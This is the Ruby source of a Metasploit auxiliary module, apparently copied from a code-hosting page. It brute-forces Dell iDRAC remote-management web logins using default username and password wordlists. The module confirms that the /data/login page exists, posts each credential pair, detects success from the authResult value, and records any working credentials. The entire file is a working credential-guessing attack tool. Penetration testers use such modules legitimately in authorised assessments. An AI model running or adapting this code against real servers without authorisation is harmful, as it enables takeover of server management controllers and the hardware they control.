140 lines
4.0 KiB
Ruby
140 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Dell iDRAC Default Login',
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'Description' => %q{
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This module attempts to login to a iDRAC webserver instance using
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default username and password. Tested against Dell Remote Access
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Controller 6 - Express version 1.50 and 1.85
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},
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'Author' =>
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[
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'Cristiano Maruti <cmaruti[at]gmail.com>'
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],
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'References' =>
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[
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['CVE', '1999-0502'] # Weak password
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration page', '/data/login']),
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OptPath.new('USER_FILE', [ false, "File containing users, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "idrac_default_user.txt") ]),
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OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "idrac_default_pass.txt") ]),
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OptInt.new('RPORT', [true, "Default remote port", 443])
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])
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register_advanced_options([
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OptBool.new('SSL', [true, "Negotiate SSL connection", true])
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])
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end
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def target_url
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proto = "http"
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if rport == 443 or ssl
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proto = "https"
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end
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uri = normalize_uri(datastore['URI'])
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"#{proto}://#{vhost}:#{rport}#{uri}"
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end
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def do_login(user=nil, pass=nil)
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uri = normalize_uri(target_uri.path)
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auth = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'SSL' => true,
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'vars_post' => {
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'user' => user,
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'password' => pass
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}
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})
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if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
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print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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user: user,
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password: pass,
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proof: auth.body.to_s
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)
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return :next_user
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else
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print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(ip)
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print_status("Verifying that login page exists at #{ip}")
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uri = normalize_uri(target_uri.path)
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri
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})
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if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)
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print_status("Attempting authentication")
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each_user_pass { |user, pass|
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do_login(user, pass)
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}
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elsif (res and res.code == 301)
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print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
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return :abort
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else
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print_error("The iDRAC login page does not exist at #{ip}")
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return :abort
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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rescue ::OpenSSL::SSL::SSLError => e
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return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
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end
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end
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end
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